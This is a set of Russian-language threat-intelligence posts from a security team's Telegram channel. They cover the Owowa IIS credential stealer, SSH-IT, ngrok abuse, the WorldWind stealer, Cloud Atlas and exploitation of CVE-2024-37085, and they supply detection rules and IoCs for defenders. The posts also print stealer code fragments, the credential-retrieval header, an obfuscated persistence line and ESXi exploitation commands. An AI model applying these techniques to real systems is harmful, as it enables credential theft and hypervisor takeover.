В составе пакетов экспертизы MaxPatrol SIEM у нас есть правило и на этот случай — Copied_or_Renamed_Executable.

А если у вас нет нашего продукта, можно взять за основу для своих детектов одно из SIGMA-правил proc_creation_win_renamed_binary_highly_relevant.

#Detect #Sigma #Rules
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
Gapucino* — это GOFFEE ☕️

Сегодня мы расскажем про одну из самых активных на данный момент кампаний на территории России. Другие исследователи называют ее GOFFEE.

В качестве исходного вектора злоумышленники используют фишинговые письма с документами, которые содержат вредоносный макрос. Пример такого документа мы разобрали в посте !!р^д**н**c 🤔

Аналогичные документы можно обнаружить по паттерну:


content:"DigitalRSASignature"


Кроме того, эксперты из Cisco Talos буквально на днях описали аналогичную цепочку атак на российские компании.

После проникновения в инфраструктуру атакующие используют Mythic-агент QwakMyAgent, написанный на языке PowerShell, о котором рассказали специалисты F.A.C.C.T.

Одним из самых интересных инструментов, который применяется атакующими в ходе этой кампании, является IIS-модуль Owowa (о нем — в следующем посте).

* Gapucino.com — один из C2 злоумышленников.

#dfir #detect #C2 #TI
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
⚠️ OWOWAсный модуль, или IIS кOWOWAрен

Про вредоносный IIS-модуль Owowa, предназначенный для перехвата учетных записей пользователей, исследователи рассказывали еще в 2021 году.

А в 2022 году мы рассказывали про его эволюцию на OFFZONE. Как показывает практика, используя этот IIS-модуль, атакующие за достаточно короткий временной промежуток могут скомпрометировать большое количество учетных записей и получить пароли пользователей в открытом виде.

Модуль устанавливается в системе командой appcmd.exe install module. Во всех проанализированных нами образцах базовый класс, который реализует интерфейс IHttpModule, называется ExtenderControlDesigner. После запуска модуль методом PreSendRequestContent перехватывает входящие запросы.


public class ExtenderControlDesigner : IHttpModule
{
public void Init(HttpApplication context)
{
context.PreSendRequestContent += this.PreSend_RequestContent;
}
private void PreSend_RequestContent(object sender, EventArgs e)
{...


Злоумышленники продолжают использовать этот достаточно простой IIS-модуль в своих самых громких атаках на российские компании и в 2024 году. Так, расследуя один из инцидентов ИБ, команда PT ESC обнаружила модификацию стилера Owowa. В обновленной версии атакующие отказались от записи скомпрометированных учетных данных в журнал в файловой системе. Вместо этого они хранятся в HashSet в оперативной памяти.

Пример учетных данных, которые записываются в HashSet:


ExtenderControlDesigner.Data item = new ExtenderControlDesigner.Data
{
Id = text,
UserName = userName,
Password = pass,
UserHostAddress = userHostAddress,
XForwardedFor = xForwardedFor,
DateTimeUtc = dateTimeUtc
};
bool flag2 = !ExtenderControlDesigner.hashSetData.Contains(item);
if (flag2)
{
ExtenderControlDesigner.hashSetData.Add(item);
}


Данные, как и раньше, защищены алгоритмом RSA-2048, а публичный ключ захардкожен в модуле. Для получения информации о количестве уникальных записей можно произвести поиск сигнатуры 42 5A 68 00, она является разделителем учетных записей.


memoryStream.Write(new byte[]
{
66,
90,
104,
0
}, 0, 4);


Так как публичный ключ модуля, использовавшегося в атаках на компании в России, всегда идентичен и не менялся с 2022 года, мы можем предположить, что за всеми атаками с его применением стоит одна группа злоумышленников.

Зашифрованный список учетных записей злоумышленники получают отправив корректный GET-запрос с заголовком username: ZaDS0tojX0VDh82.

Пример GET-запроса в журналах IIS-сервера:


2024-07-29 14:32:21 127.0.0.1 GET /owa/ 443 ZaDS0tojX0VDh82 127.0.0.2 Mozilla/5.0+(X11;+Linux+x86_64;+rv:109.0)+Gecko/20100101+Firefox/115.0 - 401 1 1527 14


Помимо перехвата полей username, password в новой версии были добавлены перехваты LOGON_USER, AUTH_PASSWORD.

В последней версии злоумышленники отказались от функции RunCommand, которая выполняла команды на скомпрометированном узле через powershell.exe.

IoCs:


Name MD5
ClassLibrary2.dll af6507e03e032294822e4157134c9909
ClassLibrary3.dll 2d240b6ceeaacd2e3dd52c9e7d3fb622
ClassLibrary3.dll 5cc433a2550bb7389f6c90521e7afa25
ExtenderControlDesigner.dll 967e7b6b048d628f36bbb4ca7b0f483f
ClassLibrary3.dll e657eea3b9b7317e28ab4a89c1fa2177
ClassLibrary3.dll 6e6218aac341463496cca32f52b29013
ClassLibrary3.dll 4d66a3bbaf65a2ec36fd2d143c872ef6


YARA:


rule Owowa {
strings:
$s1 = "IHttpModule"
$s2 = "PreSend_RequestContent"
$s3 = "ExtenderControlDesigner"
$u1 = "283c00ecp774ag36boljbpp6" wide
$u2 = "dEUM3jZXaDiob8BrqSy2PQO1" wide
$u3 = "Fb8v91c6tHiKsWzrulCeqO" wide
$u4 = "jFuLIXpzRdateYHoVwMlfc" wide
$u5 = "oACgTsBMliysfk" wide
$u6 = "uW4sSY1CAkN6kI6r6ByXUWnK" wide
$u7 = "ZaDS0tojX0VDh82" wide
$u8 = "zwa879pOX1NAmTom8m3aQvoZ" wide
condition:
uint16be ( 0 ) == 0x4d5a and ( 2 of ( $s* ) ) and ( 2 of ( $u* ) ) and filesize < 20KB
}


Happy hunting!

#hunt #IOC #yara #dfir #detect #win
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
SSH-IT. Инструкция по обнаружению популярного инструмента 🔭

В процессе расследования множества инцидентов, связанных с компрометацией Linux-узлов, мы иногда обнаруживаем на них различные хакерские инструменты.

Сегодня поговорим об SSH-IT. Хакеры часто используют его для перехвата SSH-сессий и получения вводимых пользователем команд.

Для обнаружения признаков установки инструмента на узлах ищите:

1. Файлы по паттерну: '/prng/((askpass|hook|x|ssh_login)\.sh|depth\.cfg|funcs|ptyspy_bin\.[a-z_0-9]+\-(linux|alpine|osx)|seed|ssh|thc_cli)':

find / -type f | egrep -a '/prng/((askpass|hook|x|ssh_login)\.sh|depth\.cfg|funcs|ptyspy_bin\.[a-z_0-9]+\-(linux|alpine|osx)|seed|ssh|thc_cli)'


🧐 Пример:


/home/john/.config/prng/askpass.sh
/home/john/.config/prng/depth.cfg
/home/john/.config/prng/funcs
/home/john/.config/prng/hook.sh
/home/john/.config/prng/ptyspy_bin.aarch64-linux
/home/john/.config/prng/ptyspy_bin.armv6l-linux
/home/john/.config/prng/ptyspy_bin.i386-alpine
/home/john/.config/prng/ptyspy_bin.mips32-alpine
/home/john/.config/prng/ptyspy_bin.mips64-alpine
/home/john/.config/prng/ptyspy_bin.x86_64-alpine
/home/john/.config/prng/ptyspy_bin.x86_64-osx
/home/john/.config/prng/seed
/home/john/.config/prng/ssh
/home/john/.config/prng/ssh_login.sh
/home/john/.config/prng/thc_cli
/home/john/.config/prng/x.sh


2. Файлы, через которые может осуществляться закрепление в системе и в которых встречаются строки по паттерну: '# DO NOT REMOVE THIS LINE\. SEED PRNGD|source.+2\>/dev/null #PRNGD'

egrep -aor '# DO NOT REMOVE THIS LINE\. SEED PRNGD|source.+2\>/dev/null #PRNGD' /


👀 Пример (файл /home/john/.profile):


"# ~/.profile: executed by the command interpreter for login shells.
# DO NOT REMOVE THIS LINE. SEED PRNGD.
source "$(echo 2f686f6d652f6a6f686e2f2e636f6e6669672f70726e672f736565640a|/usr/bin/xxd -r -ps 2>/dev/null)" 2>/dev/null #PRNGD
# This file is not read by bash(1), if ~/.bash_profile or ~/.bash_login
# exists.
# see /usr/share/doc/bash/examples/startup-files for examples.
# the files are located in the bash-doc package.

# the default umask is set in /etc/profile; for setting the umask
# for ssh logins, install and configure the libpam-umask package.
#umask 022

# if running bash
if [ -n ""$BASH_VERSION"" ]; then
# include .bashrc if it exists
if [ -f ""$HOME/.bashrc"" ]; then
. ""$HOME/.bashrc""
fi
fi

# set PATH so it includes user's private bin if it exists
if [ -d ""$HOME/bin"" ] ; then
PATH=""$HOME/bin:$PATH""
fi

# set PATH so it includes user's private bin if it exists
if [ -d ""$HOME/.local/bin"" ] ; then
PATH=""$HOME/.local/bin:$PATH""
fi"


📃 Рекомендации по дальнейшим действиям:

1️⃣ Заблокировать адреса управляющих серверов;

2️⃣ Удалить файлы, относящиеся к SSH-IT, а также изменить файлы, через которые SSH-IT закрепился в системе;

3️⃣ Перезагрузить скомпрометированный хост;

4️⃣ Осуществить поиск подозрительных входов по сети и проверку логов веб-сервера (если он есть и торчит наружу).

#tip #detect #hacktool #dfir
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
Ngrok. Находим и разбираемся 🔍

В процессе расследования множества инцидентов мы неоднократно встречаем такой инструмент, как ngrok. Это удобный легитимный инструмент для прокидывания сетевых туннелей для администраторов.

Он стал очень популярен у злоумышленников, которые, как правило, устанавливают RDP-соединения, и мы настоятельно рекомендуем поискать ngrok у себя в инфраструктуре.

Несколько рекомендаций по поиску признаков использования ngrok на узлах:

1️⃣ Наличие файла с именем ngrok.yml или директорий ngrok, .ngrok2, которые, как правило, имеют следующие файловые пути:


C:\Users\<username>\.ngrok2\ngrok.yml
C:\Windows\ServiceProfiles\NetworkService\AppData\Local\ngrok\ngrok.yml
C:\Windows\SysWOW64\config\systemprofile\.ngrok2\ngrok.yml


2️⃣ Наличие файла *.yml, в котором встречаются строки по следующим паттернам:


'version\: \"[0-9]+\"'
'authtoken\: [a-z0-9_]{49}'


Пример (ngrok.yml):

version: "2"
authtoken: 5U87lkcqEFeZ0sJ7Hg66aXkkrO4_K9EpjQHkJMkTg0R96pu64


3️⃣ Наличие строки ::%16777216 в качестве адреса сети источника в журналах сетевых подключений:


C:\Windows\System32\winevt\logs\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx
C:\Windows\System32\winevt\logs\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx


4️⃣ Наличие файла планировщика заданий Windows, через который осуществляется закрепление на узле и в котором могут встречаться строки по следующим паттернам:

'<Arguments>tcp [0-9]+</Arguments>'
'<Arguments>tcp [^ ]+\:[0-9]+ \-\-authtoken [a-z0-9_]{49}</Arguments>'


Пример 1 (C:\Windows\System32\Tasks\Microsoft\Windows\Microsoft\Monitor):

<?xml version="1.0" encoding="UTF-16"?>
<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
...
<Actions Context="Author">
<Exec>
<Command>C:\Windows\System32\Microsoft\1.exe</Command>
<Arguments>tcp 3389</Arguments>
</Exec>
</Actions>
</Task>


Пример 2 (C:\Windows\System32\Tasks\updater):

<?xml version="1.0" encoding="UTF-16"?>
<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
...
<Actions Context="Author">
<Exec>
<Command>C:\ProgramData\1.exe</Command>
<Arguments>tcp poc.opi.rtyo.ru:22 --authtoken qr7pKMAgTp5nfT0HTwh21sb9VsF_FwX3xkNuQqJE7MBh0gUj8</Arguments>
<WorkingDirectory>C:\ProgramData</WorkingDirectory>
</Exec>
</Actions>
</Task>


📌 Чтобы обнаружить признаки наличия инструмента на периметре, можно поискать узлы, взаимодействующие со следующими серверами:


ngrok.com
ngrok-agent.com
ngrok.io
*.equinox.io


#tip #detect #hacktool #dfir
@ptescalator
Стилерная инфекция: новый USB-штамм 👾

Сегодня расскажем про обнаруженную нами необычную модификацию стилера WorldWind. Это самый что ни на есть настоящий вирус, передающийся через тесный контакт зараженного устройства с USB-носителем и вызывающий не только утечку конфиденциальной информации, но и потерю бесценной коллекции ПО на внешних дисках.

Находка, как и ее предшественники, все также продолжает использовать сервисы icanhazip, mylnikov.org + Google Карты для определения внешнего IP-адреса и геолокации (скриншот 1). Реализация модуля сбора информации тоже не изменилась, за исключением пары структур.

🐔 Мутации же затронули сетевую часть и набор функций стилера. Теперь он не передает информацию через Telegram. Вместо этого сообщения улетают на С2-сервер злоумышленников в следующем порядке: checkin → exfiltration → close. Форматы этих сообщений представлены на скриншоте 2.

Из стилера также пропали функции для кражи VPN-конфигов и паролей от игровых лончеров и Wi-Fi. Но взамен развилась способность агрессивно распространяться через USB-носители. Если на внешнем диске есть экзешники, то стилер удалит их и запишет себя под их именами (скриншот 3).

Не находите, что повеяло старыми добрыми временами дикого вирусописательства? 😏

Чтобы уменьшить риск заражения, ставьте сигнатурные прививки и проходите антивирусные осмотры.

Заодно давайте покроем стилер правилом, детектирующим checkin:


alert tcp any any -> any any (msg: "STEALER [PTsecurity] WorldWind checkin"; flow: established, to_server; stream_size: client, <, 80; stream_size: server, =, 1; content: "|46 00 00 00|"; startswith; fast_pattern; content: "{|22|id|22 3a| 0"; within: 8; content: "|22|hwid|22 3a|"; within: 10; content: !"|20|"; distance: 2; within: 32; content: "|22|country|22 3a|"; distance: 32; content: !","; distance: 0; classtype: trojan-activity; metadata: malware_family WorldWind; sid: 1; rev: 1;)


IOCs:


84d52de2b69e14f26259da07297e02eb2c4ac32045a690f65a267fe931da0433
20.208.136.72:12346


Будьте здоровы и happy hunting!

#hunt #C2 #detect #ioc #malware #network #suricata
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
📲 Облачные сервисы от оператора «МеХаФон»

Новости с полей: команда PT ESC наблюдает новую кампанию группировки Cloud Atlas, нацеленную на государственные организации из России и стран СНГ. Про эту группировку мы рассказывали в нашем исследовании APT Cloud Atlas: Unbroken Threat и в посте.

📝 В качестве исходного вектора в своих атаках злоумышленники традиционно используют фишинговые письма с вредоносным вложением «О представлении информации.doc» (VirusTotal 0/62). Рассылка осуществляется с адресов @internet.ru. Такой домен почтового адреса можно получить при регистрации на сервисе mail.ru.

Примечательно, что атакующие не изменяют себе и с 2014 года используют облачные сервисы. При этом они продолжают экспериментировать, и раз за разом в их арсенал добавляются новые популярные платформы. Поэтому в первую очередь мы настоятельно рекомендуем проверить все сессии по протоколу «Яндекс Диск WebDAV» (webdav.yandex.ru) и запросы через Google Sheets API (oauth2.googleapis.com, sheets.googleapis.com).

IoCs:


mehafon.com
technoguides.org

9943fee873c0642216d1578fc4373648b670b5bc47a8bf37366063041518f8b2


Happy hunting and stay tuned!

#hunt #detect #ioc #apt #news
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
Net group "babyk" /add

В рамках расследования одного из инцидентов мы обнаружили факт эксплуатации уязвимости CVE-2024-37085. Она позволяет злоумышленнику получить полный контроль над гипервизором VMware ESXi, присоединенным к домену 😠

Уязвимость заключается в том, что пользователи, входящие в группу с именем ESX Admins, по умолчанию имеют максимальные права доступа к гипервизору. Эта группа не существует в домене по умолчанию, поэтому злоумышленнику необходимо завладеть учетной записью, имеющей права на создание группы и добавление в нее пользователей.

✏️ Уязвимость CVE-2024-37085 описана компанией Microsoft в июле 2024 года.

В статье упоминается эксплуатация этого недостатка операторами шифровальщиков Akira и Black Basta. В публичных отчетах информации об использовании уязвимости в атаках на российские организации нет.

👤 В рассматриваемом нами случае злоумышленникам удалось получить доступ к контроллеру домена и завладеть учетной записью с необходимыми правами. После они создали группу ESX Admins и добавили в нее пользователя, выполнив следующие команды:

net group "ESX Admins" /add /domain
net group "ESX Admins" superuser /add /do


От имени этого пользователя впоследствии нарушители вошли на гипервизор и зашифровали файлы и диски виртуальных машин с применением Babyk.

В обнаружении эксплуатации CVE-2024-37085 могут помочь события журнала Security:

• 4727 — создание группы безопасности Active Directory с именем ESX Admins;
• 4737 — изменение группы безопасности Active Directory (переименование группы в ESX Admins);
• 4728 — добавление пользователя в группу безопасности Active Directory с именем ESX Admins.

Для исправления описанной уязвимости рекомендуется установить последние обновления безопасности для VMware ESXi.

#dfir #cve #detect #win
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM